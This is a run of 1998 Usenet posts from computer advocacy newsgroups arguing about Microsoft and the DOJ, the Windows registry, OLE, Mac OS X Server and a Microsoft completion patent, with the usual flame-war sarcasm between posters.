I could never overclock with Windows. It always complained. Maybe my
motherboard couldn't handle the degraded signal.
--
/----------------------------------------------------------\
| http://cmwelch1.nexus.olemiss.edu |
| |
| Brain: It must be inordinately taxing to be such a boob. |
| Pinky: You have no idea. |
\----------------------------------------------------------/
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Wed, 16 Dec 1998 12:27:01 -0600
Organization: Ericsson Data Services Americas
Message-ID: <3677FB75.A6DC426@ericsson.com>
References: <36717987.21076075@news2.asan.com> <3676B50C.4DC3479F@ericsson.com> <petrichF40y14.6rA@netcom.com> <3676CF96.376453F1@ericsson.com> <petrichF410no.BFK@netcom.com> <3676E18C.9C5626BF@ericsson.com> <757kth$kmr@newsops.execpc.com>
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Steve Mading wrote:
>
> Michael Peck (michael.peck@ericsson.com) wrote:
> : Loren Petrich wrote:
>
> : > >No, not just like business leaders. Unless I voluntarily give them leave
> : > >to do so, there are no "business leaders" who speak and act for me. Are
> : > >there business leaders who speak and act for you? How do they do that?
> : > >Why do you let them do this thing?
> : >
> : > What you describe is true of the other "elites" you complain
> : > about -- you don't have to pay any attention to them if you don't want to.
>
> : Eh, what's that? I don't have to pay attention to presidents and
> : congressional members? I pay them taxes, I observe their speed limits, I
> : filled out their Selective Service forms, I lost two great-grandparents
> : to their wars...but you say I shouldn't pay any attention to them if I
> : don't want to.
>
> Nice dodge. The "other elites" you were bitching about were not
> in politics. You were bitching about technical people.
Mmmmm? You refer to the original posting on this topic? The one
addressed to Willy, not you?
What, exactly, was I dodging? The statement that I can ignore
"half-baked political notions"? Well, of course I can. I suppose that
now I was dodging what I myself said not three postings prior:
"You've made compelling arguments and you're thinking quite reasonably,
I assure you. Let that be enough satisfaction, and move on to greener
intellectual pastures."
Let me guess: you didn't read back that far...
MJP
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Wed, 16 Dec 1998 12:28:27 -0600
Organization: Ericsson Data Services Americas
Message-ID: <3677FBCB.784030A0@ericsson.com>
References: <36717987.21076075@news2.asan.com> <3676CF96.376453F1@ericsson.com> <petrichF410no.BFK@netcom.com> <3676E18C.9C5626BF@ericsson.com> <petrichF41x56.HuD@netcom.com>
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Loren Petrich wrote:
>
> In article <3676E18C.9C5626BF@ericsson.com>,
> Michael Peck <michael.peck@ericsson.com> wrote:
>
> >Eh, what's that? I don't have to pay attention to presidents and
> >congressional members? I pay them taxes, I observe their speed limits, I
> >filled out their Selective Service forms, I lost two great-grandparents
> >to their wars...but you say I shouldn't pay any attention to them if I
> >don't want to.
>
> Where's your respect for authority???
Mmmmmm...did I get hold of /bin/fortune, or is this question supposed to
be relevant to the conversation?
MJP
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Wed, 16 Dec 1998 12:34:44 -0600
Organization: Ericsson Data Services Americas
Message-ID: <3677FD44.D59265DA@ericsson.com>
References: <adtF3rtpr.Gxq@netcom.com> <FIiROLCWddLd-pn2-Vs4dWgtBV2NH@localhost>
<adtF3tz0y.Ktn@netcom.com> <FIiROLCWddLd-pn2-T8of9jZf6IUk@localhost>
<adtF3vKso.7Es@netcom.com> <FIiROLCWddLd-pn2-ddqUWQ9NIGP9@localhost>
<75119u$712@news1.panix.com> <FIiROLCWddLd-pn2-3omxzdb9d97c@localhost>
<757fsu$5or@news1.panix.com> <3677ed1f.0@stan.astra.co.uk>
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mmalcolm crawford wrote:
>
> In <757fsu$5or@news1.panix.com> Sal Denaro wrote:
> > You don't have to convince me that Yellowbox for Linux would be a good
> > idea. Nor do you have to convince me that a YellowBox everywhere platform
> > is good for Apple.
> >
> Ah, but then Tai wouldn't have a strawman argument to tilt against... <sigh>
>
> I wonder if it would be of any interest to know that one of the planned talks
> (thanks 'Fred) for the YB BOF I'm organising for MacWorld should dicsuss the
> role of BSD, open source and free software in Mac OS X...
The more polite, conversational, open-minded, and energetic people you
deliberately and carelessly piss off and treat like dogshit, people like
taiQ, the fewer people will care to go to your talks...
MJP
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Wed, 16 Dec 1998 12:33:00 -0600
Organization: Ericsson Data Services Americas
Message-ID: <3677FCDC.1AB47635@ericsson.com>
References: <36717987.21076075@news2.asan.com> <g4Wc2.1137$c5.5119@news14.ispnews.com> <3676F1A9.8B679633@digiscape.com> <3676F666.9EB0E40C@ericsson.com> <3677A9F2.D1184394@digiscape.com>
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Chris Welch wrote:
> > In other words...people are getting what they want, regardless of your
> > opinion.
>
> But they want it because everyone else has it. They don't know that
> there are alternatives. MS users brainwash themselves. My friend thinks
> that it's in the NATURE of a computer to crash every so often.
Sad state of affairs, I must agree. There's only one recourse left to
you: you must save him. It's not just your right, it's your obligation!
> > How disgusting. Since when have we been letting people just make their
> > own damned decisions? Absolutely nauseating. Reminds me of all that
> > "Give me Liberty or give me death!" crap the Founding Fathers were
> > always spouting.
> >
> > MJP
>
> There is a difference in informed decisions and bandwagon decisions.
You know the difference, and you know you cannot allow someone to make
bandwagon decisions. Especially not someone you care about. Do what you
must, you can do no other.
And always remember: it's for their *own good* that you do it. It's a
selfless venture; never let feelings of inadequacy of incomplete
knowledge stop you from achieving cosmic justice.
MJP
From: willy1@rocketmail.com (Willy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Wed, 16 Dec 1998 18:22:01 GMT
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <3677fa11.14689402@news2.asan.com>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <367580b2.0@uni-wuerzburg.de> <36798742.1291229250@news.isomedia.com> <slrn77b627.cq2.jedi@dementia.mishnet> <756869$3or$1@news.asu.edu> <slrn77e3s6.mch.jedi@dementia.mishnet> <3677c55f.1199644@news2.asan.com> <3677CF94.CA4A5432@digiscape.com>
On Wed, 16 Dec 1998 15:19:48 +0000, in comp.os.ms-windows.advocacy
Chris Welch <chaotic42@digiscape.com> wrote:
>Please, send me a copy of your CD.
Well, I can't do that, but it's the OEM OSR2 CD.
From: willy1@rocketmail.com (Willy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Registry Synchronization?
Date: Wed, 16 Dec 1998 18:33:18 GMT
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <3677faef.14911441@news2.asan.com>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <petrichF3z4KB.8uM@netcom.com> <KgAd2.393$eB2.831@news14.ispnews.com> <3677c79f.1775312@news2.asan.com> <slrn77fosc.s7s.jedi@dementia.mishnet>
On Wed, 16 Dec 1998 08:45:00 -0800, in comp.os.ms-windows.advocacy
jedi@dementia.mishnet () wrote:
> Unless the app in an OLE server, no other app has
> any business knowing squat about it to begin with.
I have several applications that uses the registry to find the
installation directory for Lotus Notes because they actually use Notes
dlls in their processing.
There are lots of reasons for placing information in the registry.
Just because you can't think of any doesn't mean that no one should
put their information in there.
From: phenix@interpath.com (John Moreno)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Wed, 16 Dec 1998 13:55:34 -0500
Organization: phenix@interpath.com
Message-ID: <1dk4tg0.1yiqt541pmr60qN@roxboro0-006.dyn.interpath.net>
References: <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <adtF3rtpr.Gxq@netcom.com> <slrn770lik.3ps.jedi@dementia.mishnet> <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net> <3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com> <3672F161.9A5BFCCE@nstar.net> <19981213123438840862@ts2-18.aug.com> <7546k2$rhg$1@nnrp1.dejanews.com> <3675C7C4.861C5575@nstar.net> <756kn2$unk$1@nnrp1.dejanews.com> <3676E3E3.C0160448@ericsson.com> <F42Gq2.Avz@T-FCN.Net> <3677F3D4.63B5E739@ericsson.com>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: nobody
User-Agent: MacSOUP/2.4b3
Michael Peck <michael.peck@ericsson.com> wrote:
> > > Does Mac OS X have it? No.
> >
> > It doesn't have it _built_in_. Then again neither does the MacOS.
>
> And you just pointed out that as a result it's considered a "fringe
> product".
He is saying "Cause: Fringe product; Result: Not built in".
You are saying "Cause: Not built in; Result: Fringe product".
I think he's closer to being right than you are.
--
John Moreno
From: ink@inconnu.isu.edu (Craig Kelley)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Registry Synchronization?
Date: 16 Dec 1998 12:03:47 -0700
Organization: Idaho State University
Message-ID: <75906j$mpl$1@inconnu.isu.edu>
References: <36717987.21076075@news2.asan.com> <petrichF3z4KB.8uM@netcom.com> <KgAd2.393$eB2.831@news14.ispnews.com> <758bsk$bic$1@nnrp1.dejanews.com>
In article <758bsk$bic$1@nnrp1.dejanews.com>,
<westprog@my-dejanews.com> wrote:
->This is of course the main advantage of a registry. Suppose that you install
->a new application on your system, or add a device, and the system stops
->working correctly. The registry can be rolled back to the point before the
->installation, and all the settings restored. The user settings can be easily
->ported between different machines, while common hardware setups can be
->duplicated independently. To me, this seems to be an obvious solution.
I love all these 'supposed' benefits of the registry that you guys
keep on coming up with. When, if ever, is this actually _used_ in a
real-world situation? If your video card drivers die on you then you
can boot up in VGA mode. If your video card drivers work, then you
can simply fix the problem after the system is up and running.
->The Unix alternative - a huge array of assorted files in assorted formats in
->various directories - doesn't seem to be an attractive alternative. What do
->you do when the system stops working properly?
It doesn't! I don't mean any disrespect, but UNIX systems do not
mysteriously stop working (aka "the desktop rust effect" that both
Macs and Windows machines suffer from) after so many days. If you
compile a kernel that doesn't work with your hardware, simply boot up
with your previous kernel image (LILO does this for Linux machine).
If your kernel boots up, then you can fix whatever problem while the
system is live or in single-user mode.
->The use of a database-type format, rather then a text file, makes corruption
->of the registry vastly less likely. If a situation arose where the registry
->was seriously corrupted (rather than simply having incorrect data entered)
->the likely cause would be sufficient to hose the disk under any
->circumstances.
That is all pointless if the information contained in the registry is
world-writtable and screwed up by various incartations of
InstallShield and other such nonsense. Take a look at the "Anti-Linux
FUD" thread in these newsgroups to see how this has been hashed out
there.
There are at least 3 disadvantages to using the registry for every
supposed advantage.
--
The wheel is turning but the hamster is dead.
Craig Kelley -- kellcrai@isu.edu
http://www.isu.edu/~kellcrai finger ink@inconnu.isu.edu for PGP block
Newsgroups: comp.sys.next.advocacy
From: cdouty@netcom.com (Chris Douty)
Subject: Re: Microsoft patented 'completion'
Message-ID: <cdoutyF42o5s.Lv3@netcom.com>
Sender: cdouty@netcom.netcom.com
Organization: Netcom Online Services, Inc.
References: <36778d0e.0@news.depaul.edu>
Date: Wed, 16 Dec 1998 19:15:28 GMT
In article <36778d0e.0@news.depaul.edu>,
Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
>Filed June 5 1996
>Issued Dec 1, 1998
>
>US5845300: Method and apparatus for suggesting completions for a
>partially entered data item based on previously-entered,
>associated data items
>
Great. Now I suppose that they'll go after the authors and users of
tcsh, zsh, bash, csh, ksh, and the list keeps going. Is there a
freely accessible patent database where one can read the text of a
patent? This is just ridiculous. I recall using very sophisticated
commandline completion in WShell on the Amiga back in 1989 or so;
certainly that was not the first implementation either.
Who the hell do these people think they are?
-Chris
--
Christopher Douty - Rogue Engineer trapped in a land of software
cdouty@netcom.com
"Frequently the messages have meaning; that is they refer to or are correlated
according to some system with physical or conceptual entities. These semantic
aspects of communication are irrelevant to the engineering problem." -Shannon
From: Chris Welch <chaotic42@digiscape.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Wed, 16 Dec 1998 19:39:49 +0000
Organization: Mighty Albino Flying Warrors of Death
Message-ID: <36780C85.A7C6D522@digiscape.com>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <367580b2.0@uni-wuerzburg.de> <36798742.1291229250@news.isomedia.com> <slrn77b627.cq2.jedi@dementia.mishnet> <756869$3or$1@news.asu.edu> <slrn77e3s6.mch.jedi@dementia.mishnet> <3677c55f.1199644@news2.asan.com> <3677CF94.CA4A5432@digiscape.com> <3677fa11.14689402@news2.asan.com>
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Willy wrote:
>
> On Wed, 16 Dec 1998 15:19:48 +0000, in comp.os.ms-windows.advocacy
> Chris Welch <chaotic42@digiscape.com> wrote:
>
> >Please, send me a copy of your CD.
>
> Well, I can't do that, but it's the OEM OSR2 CD.
Well, I have that one so there are three posibilities:
1. You are lying (I doubt that, though)
2. I do more volatile things that could mess up the registry
3. For some reason Windows doesn't like my hardware
--
/----------------------------------------------------------\
| http://cmwelch1.nexus.olemiss.edu |
| |
| Brain: It must be inordinately taxing to be such a boob. |
| Pinky: You have no idea. |
\----------------------------------------------------------/
From: willy1@rocketmail.com (Willy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Wed, 16 Dec 1998 19:40:53 GMT
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <36780c7a.1054456@news2.asan.com>
References: <36717987.21076075@news2.asan.com> <g4Wc2.1137$c5.5119@news14.ispnews.com> <3676F1A9.8B679633@digiscape.com> <3676F666.9EB0E40C@ericsson.com> <3677A9F2.D1184394@digiscape.com>
On Wed, 16 Dec 1998 12:39:14 +0000, in comp.os.ms-windows.advocacy
Chris Welch <chaotic42@digiscape.com> wrote:
>They don't know that there are alternatives.
Oh please. Everyone knows of at least Apple and the Mac.
From: Ben White <benjamin_white@brown.edu>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Wed, 16 Dec 1998 14:50:43 -0500
Organization: Brown University
Message-ID: <36780F12.B23A0EBB@brown.edu>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com> <3672a0d2.4373198@news2.asan.com> <36731A2F.8BB882A2@brown.edu> <36735f75.2443804@news2.asan.com> <3673796A.362778FC@brown.edu> <3673e51c.3291382@news2.asan.com> <3674B98C.45BC948D@brown.edu> <7568im$3pa$1@news.asu.edu>
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Dmitry Streblechenko wrote:
>
> >When exactly did I contend that MS apps and OS have no value? I know that the
> >apps are functional for many users. I'm also sure that their UI research is
> >extensive. That has little to do with my contention that MS apps are not
> >extensible by design. OLE is a horrible technology. Have you ever tried to
> >write a large application using it? It's bloated and a resource hog not to
> >mention slow. It's also totally nonportable.
>
> Yes I have. Bloated? I bet you used VB. Slow? Because _your_ application is
> slow does not mean all OLE apps are slow. Why blame MS for your own
> faults?
No, but I was using MFC. I remember when there was this notion floating around
that OLE was going to be the X server/client concept but 'properly done'.
There were going to be OLE servers and all client PCs would have to do would
be to download the proper object and away they would go! Ha. The fact that
this particular object technology scales terribly should give you a hint as to
how much of a kludge it is. It has a huge amount of overhead. If you upgrade
an object you must upgrade all objects that use that object or they will get
confused, another terrible idea. It is also not nearly as extensible as other
object technologies can be and are. Can you, for example, embed an irregular
object? What a disaster.
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 16 Dec 1998 19:59:12 GMT
Organization: Univ of Calif San Diego
Message-ID: <slrn77g48f.rpl.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net> <3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com> <3672F161.9A5BFCCE@nstar.net> <19981213123438840862@ts2-18.aug.com> <36742159.EA45364E@nstar.net> <7528dr$rfe$1@hecate.umd.edu> <3674BBCA.7BB77907@nstar.net> <36752AC8.6CD4066C@tone.ca> <7571c5$os3$1@blue.hex.net>
NNTP-Posting-Date: 16 Dec 1998 19:59:12 GMT
On 16 Dec 1998 01:11:33 GMT, Christopher Browne <cbbrowne@news.hex.net> wrote:
:And there is controversy over whether it is appropriate to try to "dumb
:down" the need for understanding. That is *certainly* true if we want
:to build a system that Grandma, who doesn't want to become a UNIX system
:administrator, can use. There is also a need for a population of
:"cognoscenti." Linux has, thus far, largely attracted people of the
:latter variety. It will take some substantial effort to build a
:"Grandma-friendly" system.
What do you do when building Grandma-friendly conflicts with being a
"good Unix" for essential reasons?
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD
*
* "do || !do; try: Command not found"
* /sbin/yoda --help
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Wed, 16 Dec 1998 13:56:34 -0600
Organization: Ericsson Data Services Americas
Message-ID: <36781072.3EF67AB8@ericsson.com>
References: <3675C7C4.861C5575@nstar.net> <756kn2$unk$1@nnrp1.dejanews.com> <3676E3E3.C0160448@ericsson.com> <F42Gq2.Avz@T-FCN.Net> <3677F3D4.63B5E739@ericsson.com> <1dk4tg0.1yiqt541pmr60qN@roxboro0-006.dyn.interpath.net>
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John Moreno wrote:
> > And you just pointed out that as a result it's considered a "fringe
> > product".
>
> He is saying "Cause: Fringe product; Result: Not built in".
Seeing as how "not built in" is a default scenario, I find it difficult
to understand how you can identify a primary cause, such as "fringe
product".
> You are saying "Cause: Not built in; Result: Fringe product".
>
> I think he's closer to being right than you are.
You're welcome to your opinion. I think you're wrong, but now I'm
starting to sound like a broken record. Very few of the people involved
in this conversation (read: Chuck Swiger is probably the only one) have
ever used the remoting capabilities of the X Window System, and in any
case I'm confident of my assessment of the situation.
Or maybe it's just the fact that your side of the argument seems wont to
claim "it's not important" or "it's a fringe product" when the target of
your advocacy lacks it. The fact is that your product lacks remoting and
it's a glaring fault.
MJP
"I've never used it, how can it be important?"
From: Chris Welch <chaotic42@digiscape.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Wed, 16 Dec 1998 19:46:49 +0000
Organization: Mighty Albino Flying Warrors of Death
Message-ID: <36780E29.DC3CA20A@digiscape.com>
References: <36717987.21076075@news2.asan.com> <g4Wc2.1137$c5.5119@news14.ispnews.com> <3676F1A9.8B679633@digiscape.com> <3676F666.9EB0E40C@ericsson.com> <3677A9F2.D1184394@digiscape.com> <3677FCDC.1AB47635@ericsson.com>
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Michael Peck wrote:
>
> Chris Welch wrote:
>
> > > In other words...people are getting what they want, regardless of your
> > > opinion.
> >
> > But they want it because everyone else has it. They don't know that
> > there are alternatives. MS users brainwash themselves. My friend thinks
> > that it's in the NATURE of a computer to crash every so often.
>
> Sad state of affairs, I must agree. There's only one recourse left to
> you: you must save him. It's not just your right, it's your >obligation!
I always try to convert Windows users. Now she thinks Linux is 'neat',
so I suppose that's an improvement.
>
> > > How disgusting. Since when have we been letting people just make their
> > > own damned decisions? Absolutely nauseating. Reminds me of all that
> > > "Give me Liberty or give me death!" crap the Founding Fathers were
> > > always spouting.
> > >
> > > MJP
> >
> > There is a difference in informed decisions and bandwagon decisions.
>
> You know the difference, and you know you cannot allow someone to make
> bandwagon decisions. Especially not someone you care about. Do what you
> must, you can do no other.
>
...as long as they don't do it because you do it. It's like those people
who are 'freaks' because it's popular not to be popular.
--
/----------------------------------------------------------\
| http://cmwelch1.nexus.olemiss.edu |
| |
| Brain: It must be inordinately taxing to be such a boob. |
| Pinky: You have no idea. |
\----------------------------------------------------------/
From: hugh@damnspam.semplicesoft.com (Hugh Johnson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: OSX: The Next Generation--NOT
Date: 16 Dec 1998 20:09:52 GMT
Organization: Semplice Software
Message-ID: <hugh-1612981409210001@95.minneapolis-01.mn.dial-access.att.net>
References: <74mprq$bci$1@eskinews.eskimo.com> <74mrpm$vqp$1@crib.corepower.com> <74oj9d$9d9$1@nnrp1.dejanews.com> <hugh-1612980710350001@242.minneapolis-01.mn.dial-access.att.net> <F42Iry.By8@T-FCN.Net>
In article <F42Iry.By8@T-FCN.Net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
> In <hugh-1612980710350001@242.minneapolis-01.mn.dial-access.att.net> Hugh
> Johnson wrote:
>
> More info...
>
> > TechWeb is reporting that Apple will offer LinuxPPC as a the server
>
> And many people think they are referring to OS-X Server.
>
> > option. Don Crabb says the Apple Store is dumping WebObject for SAP.
>
> I have finally found some articles on this, but still cannot find
> anything from Don on this issue. I have written to him about this, but I
> still request an URL for this item. However I found this on the
> (excellent) MacNN at http://www.macnn.com/reports/sapmanagement.shtml
http://www.maccentral.com/news/9812/08.manager.shtml
>
> The initial news report states (in full) December 1, 1998: Apple has a
> page talking about its migration, starting December 26th, to the new
> industry-standard SAP business system, which it describes as a "single,
> integrated system for order management, logistics, finance, and
> manufacturing." The new system will remove prioritization of shipments,
> convert ordering to a new numbering scheme, add e-mail notification of
> receipt of order and when the product is shipped, and provide real-time
> look up the status of any order--"regardless of the purchase method."
>
> Note that the article correctly states what SAP is used for "order
> management, logistics, finance, and manufacturing". SAP in this case is
> likely to be run on Oracle on Unix, with the WebObjects plugins allowing
> users to get realtime updates on their orders from the database.
It sounds like you might know a lot more about enterprize computing than I
do. Congratulations. But obviously you were alarmed enough to go chasing
all over the web over this, and to write two lengthy rebuttals - if you
know so much and you're so alarmed, I wonder, what does that say?
All I'm saying is, there is an emerging pattern of dampering public
expectations about OSXS, which is overdue and missing in action, and
there's this last-minute hoopla about LinuxPPC, positioning it as the Next
Big Alternative. This looks an awful lot like more smoke and mirrors. Next
thing you know, they'll be promising OSX in dribs and drabs, just like
Amelio's Copland.
>
> > I'm outta here.
>
> Why were you here in the first place?
>
> Maury
Oh I see, everyone must be a True Believer. Well, that's another problem
with this platform. Cliquishness. (sp?)
---------------------------------------------------------------------
Hugh Johnson hugh@deletethis.semplicesoft.com Simple Tools
Semplice Software hughj@deletethis.kagi.com for
612-792-0583 BHuey@deletethis.att.net Smart People
<http://www.semplicesoft.com> -- Home of Font Gander Pro
---------------------------------------------------------------------
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Terrorism.
Date: Wed, 16 Dec 1998 14:09:13 -0600
Organization: Ericsson Data Services Americas
Message-ID: <36781369.9C932F3E@ericsson.com>
References: <36717987.21076075@news2.asan.com> <3673C094.7C814583@brown.edu> <3673de8f.1614090@news2.asan.com> <3675358B.87637823@ericsson.com> <petrichF40Gu1.n25@netcom.com> <3676B50C.4DC3479F@ericsson.com> <jinx6568-1512982325300001@arc1a20.bf.sover.net>
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Chris Johnson wrote:
[cut]
> We tend to be geeky hacker type people, and the ones who are most aware
> of this are the ones who _most_ lack lives outside of the monitor screen.
> We're not innately violent people, or innately vicious- indeed, the
> marketing divisions and managements of companies like Microsoft and Intel
> are far more vicious than we appear to be. But corner us, marginalize and
> commoditize us, cut off our techie resources, and finally cut off our
> abilities to find recourse through the courts and governments of the
> world, and you will see desperate geeky hacker type people- and we'll
> fight.
Oh, please. You're weak, you're numerically insignificant, and your
convictions aren't as bulletproof as you think they are. This is the
trash-talk of the untested and unprepared. You want to fight? You want
to make a power play? You wanna get down an' dirty, shake some
foundations, Chris?
What, did you miss the sixties, or something? Ironic how all of the
uprisings these days seem to be instigated by people who missed the last
one and feel cheated out of all the fun.
Anyway, good luck. Hackers of the world, unite, and all that. Maybe you
can all get together during that Linux Beer Hike in Germany while you
pretend to appreciate European culture and European alcohol to get over
all the fun and high-class moralizing you missed in high school.
[cut]
"funny"...
> >> Now is10 million of the current Mac market better than 8-10 million of
> >> the current Linux market? Hard to say, there's arguments that go both ways.
> >Nobody's saying one is better than the other. I don't know what in the
> >world that has to do with anything.
>
> You are saying that one is better than the other. You stated (in that very
> post) that you would advocate action where Apple would support Linux, even
> if it ment that they would have to delay OSX for Apple's platform.
Are we any more likely to see substantiation of the above claim than we
have been on previous claims? If not, we'll never see this quote posted.
> Clearly
> you think it is more important that Apple support Linux users rather than
> its own platform.
This really is the fundamental pose of all of your postings, just
flat-out putting words in other peoples' mouths. You don't appear to
have any other skills...
MJP
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: OSX: The Next Generation--NOT
Date: Wed, 16 Dec 1998 14:24:32 -0600
Organization: Ericsson Data Services Americas
Message-ID: <36781700.D3BA4E59@ericsson.com>
References: <74mprq$bci$1@eskinews.eskimo.com> <74mrpm$vqp$1@crib.corepower.com> <74oj9d$9d9$1@nnrp1.dejanews.com> <hugh-1612980710350001@242.minneapolis-01.mn.dial-access.att.net> <F42Iry.By8@T-FCN.Net> <hugh-1612981409210001@95.minneapolis-01.mn.dial-access.att.net>
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Hugh Johnson wrote:
[cut]
> Oh I see, everyone must be a True Believer. Well, that's another problem
> with this platform. Cliquishness. (sp?)
Infidel. Steve-Muad'Dib will have your water.
MJP
From: phenix@interpath.com (John Moreno)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Wed, 16 Dec 1998 15:39:58 -0500
Organization: phenix@interpath.com
Message-ID: <1dk4ysm.1hcdk185xn1w3N@roxboro0-052.dyn.interpath.net>
References: <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <adtF3rtpr.Gxq@netcom.com> <slrn770lik.3ps.jedi@dementia.mishnet> <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net> <3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com> <3672F161.9A5BFCCE@nstar.net> <19981213123438840862@ts2-18.aug.com> <7546k2$rhg$1@nnrp1.dejanews.com> <3675C7C4.861C5575@nstar.net> <756kn2$unk$1@nnrp1.dejanews.com> <3676E3E3.C0160448@ericsson.com> <F42Gq2.Avz@T-FCN.Net> <3677F3D4.63B5E739@ericsson.com> <1dk4tg0.1yiqt541pmr60qN@roxboro0-006.dyn.interpath.net> <36781072.3EF67AB8@ericsson.com>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: nobody
